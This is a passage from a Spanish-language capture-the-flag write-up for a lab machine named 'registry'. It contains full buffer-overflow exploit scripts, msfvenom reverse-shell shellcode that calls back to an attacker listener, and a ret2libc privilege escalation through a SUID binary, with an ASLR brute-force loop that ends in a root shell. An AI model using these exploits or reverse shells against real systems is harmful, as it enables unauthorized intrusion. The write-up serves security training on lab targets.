shellcode += b"\x1d\x15\x4d\x08\x19\x31\x5d\xd4\xa2\x7d\x09"
shellcode += b"\x88\xf4\x2b\xe7\x6e\xaf\x9d\x51\x39\x1c\x74"
shellcode += b"\x35\xbc\x6e\x47\x43\xc1\xba\x31\xab\x70\x13"
shellcode += b"\x04\xd4\xbd\xf3\x80\xad\xa3\x63\x6e\x64\x60"
shellcode += b"\x83\x8d\xac\x9d\x2c\x08\x25\x1c\x31\xab\x90"
shellcode += b"\x63\x4c\x28\x10\x1c\xab\x30\x51\x19\xf7\xf6"
shellcode += b"\x8a\x53\x68\x93\xac\xc0\x89\xb6\xac\xe6\x75"
shellcode += b"\x39"
payload = junk + jmpesp + shellcode
shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()
Al ejecutar el script envia el payload y nos envia una cmd
como el usuario kali
❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done
[*] Closed connection to 127.0.0.1 port 42424
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.70
Microsoft Windows 6.1.7601
Z:\home\kali>whoami
KALI\kali
Z:\home\kali>
Ya que funciona en local podemos cambiar la direccion de la 127.0.0.1
a la direccion de la maquina, despues ejecutamos el exe
con el privilegio de sudoers
shell = remote("192.168.100.72", 42424)
cxdxnt@registry:~$ sudo -u gato wine /opt/projects/MyFirstProgram.exe
[+] Listening for connections.
Corremos el script y recibimos una shell como el usuario gato
en la maquina registry
, lo que pasa que el contexto de wine
recibimos una cmd
en lugar de sh
❯ python3 exploit.py
[+] Opening connection to 192.168.100.72 on port 42424: Done
[*] Closed connection to 192.168.100.72 port 42424
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.72
Microsoft Windows 6.1.7601
C:\>whoami
REGISTRY\gato
C:\>
Lo que podemos hacer es cambiar el shellcode de msfvenom
, para ello cambiamos el payload de windows/shell_reverse_tcp
por el linux/x86/shell_reverse_tcp
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.70 LPORT=443 EXITFUNC=thread EXITFUNC=thread -b '\x00\x0a' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive chosen with final size 97
Payload size: 97 bytes
Final size of python file: 558 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xdf\x91\xaa\xfd\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xee\x4a\x5d\x1e\x43\x2e\xf1\x8b"
shellcode += b"\x61\x39\x14\xfb\x03\xf4\x57\x6f\x92\xb6\x67"
shellcode += b"\x5d\xa4\xfe\xee\xa4\xcc\xc0\xb9\x33\x4a\xa9"
shellcode += b"\xbb\xbb\x53\x92\x35\x5a\xe3\x82\x15\xcc\x50"
shellcode += b"\xf8\x95\x67\xb7\x33\x19\x25\x5f\xa2\x35\xb9"
shellcode += b"\xf7\x52\x65\x12\x65\xca\xf0\x8f\x3b\x5f\x8a"
shellcode += b"\xb1\x0b\x54\x41\xb1\x6b\x6b\x59\xb2"
Modificamos el nuevo shellcode
en el script de python y lo ejecutamos nuevamente
#!/usr/bin/python3
from pwn import remote, p32
offset = 146
junk = b"A" * offset
jmpesp = p32(0x080414c3)
shellcode = b""
shellcode += b"\xfc\xbb\xdf\x91\xaa\xfd\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xee\x4a\x5d\x1e\x43\x2e\xf1\x8b"
shellcode += b"\x61\x39\x14\xfb\x03\xf4\x57\x6f\x92\xb6\x67"
shellcode += b"\x5d\xa4\xfe\xee\xa4\xcc\xc0\xb9\x33\x4a\xa9"
shellcode += b"\xbb\xbb\x53\x92\x35\x5a\xe3\x82\x15\xcc\x50"
shellcode += b"\xf8\x95\x67\xb7\x33\x19\x25\x5f\xa2\x35\xb9"
shellcode += b"\xf7\x52\x65\x12\x65\xca\xf0\x8f\x3b\x5f\x8a"
shellcode += b"\xb1\x0b\x54\x41\xb1\x6b\x6b\x59\xb2"
payload = junk + jmpesp + shellcode
shell = remote("192.168.100.72", 42424)
shell.sendline(payload)
shell.close()
❯ python3 exploit.py
[+] Opening connection to 192.168.100.72 on port 42424: Done
[*] Closed connection to 192.168.100.72 port 42424
Despues de ejecutarlo recibimos nuevamente una shell
pero esta vez una de linux
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.72
script /dev/null -c bash
Script started, output log file is '/dev/null'.
gato@registry:~/.wine/drive_c$ id
uid=1000(gato) gid=1000(gato) groups=1000(gato)
gato@registry:~/.wine/drive_c$ hostname -I
192.168.100.72
gato@registry:~/.wine/drive_c$
Shell - root
Buscando binarios con privilegio suid
encontramos a new perteneciente a root
gato@registry:~$ find / -perm -u+s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/mount
/usr/libexec/polkit-agent-helper-1
/opt/others/program
/opt/fixed/new
gato@registry:~$ ls -l /opt/fixed/new
-rwsr-xr-x 1 root root 14940 Jul 24 04:01 /opt/fixed/new
gato@registry:~$
El binario parece tener el mismo funcionamiento que el primero que explotamos, nos pide como argumento
un nombre y si se lo pasamos no hace nada interesante
gato@registry:~$ /opt/fixed/new
Usage: /opt/fixed/new <name>
gato@registry:~$ /opt/fixed/new name
gato@registry:~$
Nuevamente lo descargamos y decompilamos con ida
para ver su codigo en C
El codigo es practicamente el mismo que el primer
binario sin embargo con una gran diferencia, este hace un setreuid
con el id 0
el cual pertenece a root
int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( argc <= 1 )
return printf("Usage: %s <name>\n", *argv);
setreuid(0, 0);
return vuln(argv[1]);
}
int __cdecl vuln(int param_1)
{
char buffer[132]; // [esp+0h] [ebp-88h] BYREF
return strcpy(buffer, param_1);
}
Sabemos que es vulnerable pero si lo miramos con checksec
vemos 2 diferencias, la primera es que ahora es x86
pero ademas esta habilitado el NX
que nos impide ejecutar shellcode
de primeras por lo que no podemos explotarlo igual que antes
❯ checksec new
[*] '/home/kali/new'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Lo primero sera abrir el programa con gdb
y agregar un argumento que sera un patron de 150
caracteres para buscar el offset
y correrlo para que se corrompa
❯ gdb -q new
Reading symbols from new...
(No debugging symbols found in new)
pwndbg> cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
pwndbg> run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Starting program: /home/kali/new aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x6261616b in ?? ()
pwndbg>
Despues de que corrompe podemos buscar el offset
o la cantidad de bytes
necesarios antes de sobreescribir el registro EIP
osea el puntero, que son 140
pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'kaab' (hex: 0x6b616162)
Found at offset 140
pwndbg>
Ya que no podemos ejecutar shellcode en la pila podemos explotarlo con ret2libc
, sin embargo por cada ejecucion la direccion de libc base
del binario cambia
gato@registry:~$ ldd /opt/fixed/new
linux-gate.so.1 (0xf7f94000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d46000)
/lib/ld-linux.so.2 (0xf7f96000)
gato@registry:~$ ldd /opt/fixed/new
linux-gate.so.1 (0xf7f4c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)
/lib/ld-linux.so.2 (0xf7f4e000)
gato@registry:~$
El ASLR
esta habilitado, pero ya que estamos en x86
es facil de bypassear ya que la direccion es pequeña
y despues de varias ejecuciones vuelve a coincidir
gato@registry:~$ for i in $(seq 1 1000); do ldd /opt/fixed/new | grep 0xf7cfe000; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)
gato@registry:~$
Para iniciar buscaremos los offsets
de las direcciones de las funciones system()
y exit()
esto podemos hacerlo facilmente usando la herramienta readelf
gato@registry:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' system@@| exit@@'
460: 0003a440 39 FUNC GLOBAL DEFAULT 15 exit@@GLIBC_2.0
2166: 00048150 63 FUNC WEAK DEFAULT 15 system@@GLIBC_2.0
gato@registry:~$
Lo siguiente sera buscar la string /bin/sh
en la libreria de libc, ya que se lo pasaremos como argumento
a system() para ejecutar un system("/bin/sh")
gato@registry:~$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
1bd0f5 /bin/sh
gato@registry:~$
De esta manera en el EIP
ejecutariamos system()
como función, exit()
como función de retorno
y le pasaremos la string /bin/sh
como argumento
a system()
Definimos todo esto en el script de python
, sumandole a cada offset la direccion base de libc
que tomamos con ldd
para asi obtener la direccion real de estos
#!/usr/bin/python2
from pwn import p32
offset = 140
junk = b"A" * offset
libc_base = 0xf7cfe000
system = p32(libc_base + 0x00048150)
exit = p32(libc_base + 0x0003a440)
bin_sh = p32(libc_base + 0x1bd0f5)
payload = junk + system + exit + bin_sh
print(payload)
Finalmente ejecutamos el script como argumento
al binario de forma infinita hasta que la direccion de libc base
vuelva a coincidir, cuando coincide de nuevo con la que tomamos nos otorgara una /bin/sh
como root
donde podemos leer la flag
gato@registry:~$ while true; do /opt/fixed/new $(python2 exploit.py); done
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Illegal instruction (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# whoami
root
# hostname -I
192.168.100.72
# cat /root/root.txt
REGISTRY{7H3_BUFF3R_0V3RF10W_15_FUNNY}
#